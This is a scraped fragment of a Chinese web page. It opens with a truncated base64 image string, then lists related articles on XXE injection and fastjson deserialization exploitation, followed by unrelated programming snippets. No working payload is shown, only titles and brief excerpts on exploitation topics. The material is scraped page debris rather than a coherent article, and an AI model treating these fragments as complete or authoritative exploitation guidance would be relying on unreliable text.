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" alt="" />
参考链接:
XXE漏洞原理及利用的更多相关文章
- XXE漏洞——介绍及利用
什么是xxe XML外部实体注入,简称XXE漏洞.XML文档结构包括XML声明,DTD文档类型定义,文档元素. XML示例 <?xml version="1.0"?>X ...
- fastjson反序列化漏洞原理及利用
重要漏洞利用poc及版本 我是从github上的参考中直接copy的exp,这个类就是要注入的类 import java.lang.Runtime; import java.lang.Process; ...
- 听补天漏洞审核专家实战讲解XXE漏洞
对于将“挖洞”作为施展自身才干.展现自身价值方式的白 帽 子来说,听漏洞审核专家讲如何挖掘并验证漏洞,绝对不失为一种快速的成长方式! XXE Injection(XML External Entity ...
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
- ref:浅谈XXE漏洞攻击与防御
ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20 | 分类于 web安全 | 热度 3189 ℃ 你会挽着我 ...
- 1.浅谈XXE漏洞攻击与防御
XML基础 在介绍XXE漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具. XML是一种用于标记电子文 ...
- [WEB安全]XXE漏洞总结
目录 0x00 XML基础 0x01 XML文档结构 0x02 DTD 0x03 实体 0x04 XXE漏洞 0x05 总结一些payload 0x06 XXE漏洞修复与防御 0x07 参考链接 0x ...
- 浅入深出了解XXE漏洞
环境搭建 https://github.com/c0ny1/xxe-lab 为了更深入的理解,我准备理论和实际相结合的了解XXE! 浅谈XML 初识XML 一个好的代码基础能帮助你更好理解一类漏洞,所 ...
- 独家分析:安卓“Janus”漏洞的产生原理及利用过程
近日,Google在12月发布的安卓系统安全公告中披露了一个名为"Janus"安卓漏洞(漏洞编号:CVE-2017-13156).该漏洞可以让攻击者绕过安卓系统的signature ...
随机推荐
- 后缀自动机求endpos集大小
#include<bits/stdc++.h> #define fi first #define se second #define INF 0x3f3f3f3f #define LNF ...
- BZOJ 3812 主旋律 (状压DP+容斥) + NOIP模拟赛 巨神兵(obelisk)(状压DP)
这道题跟另一道题很像,先看看那道题吧 巨神兵(obelisk) 题面 欧贝利斯克的巨神兵很喜欢有向图,有一天他找到了一张nnn个点mmm条边的有向图.欧贝利斯克认为一个没有环的有向图是优美的,请问这张 ...
- Docker:18.x版本安装与卸载
Docker CE 分为 stable, test, 和 nightly 三个更新频道.每六个月发布一个 stable 版本 初始化机器 #1.关闭警报 vi /etc/inputrc #然后将set ...
- CF557E Ann and Half-Palindrome 字典树+dp
现在看这道题也不难啊,不知道考场上为啥没切~ code: #include <bits/stdc++.h> #define N 5006 #define setIO(s) freopen( ...
- CF350E Wrong Floyd
洛谷题目链接 前言: 这题其实真的不难 回归正题: 我们首先要明白$floyd$的思想,相信你都来做这道水题了,肯定不陌生,简单的手玩后,我们可以发现: 只要有任意一个点只跟非标记点相连的话,是更新不 ...
- 洛谷P1903 [国家集训队]数颜色 / 维护队列 ( 带 修 )
题意:有两种操作: 1. Q L R代表询问你从第L支画笔到第R支画笔中共有几种不同颜色的画笔. 2. R P Col 把第P支画笔替换为颜色Col. 对每个1操作 输出答案: 带修莫队 模板题 (加 ...
- Hihocoder #1333 : 平衡树·Splay2
1333 : 平衡树·Splay2 时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 小Ho:好麻烦啊~ 小Hi:小Ho你在干嘛呢? 小Ho:我在干活啊!前几天老师让我帮忙 ...
- 内存管理2-set方法的内存管理-程序解析
创建class Book .h 有@ property float price; //@synthesize 自动 ------------ 创建class Student #import &quo ...
- c 判断数字是否无限
/* isinf example */ #include <stdio.h> /* printf */ #include <math.h> /* isinf, sqrt */ ...
- Mybatis 批量操作-删除、修改和查询
批量操作的核心就是一次传入多个数据然后进行相关操作,增删改查中掌握其中一个,其它的就可以举一反三,触类旁通.它之所以执行效率高,是因为合并后日志量(MySQL的binlog和InnoDB的 ...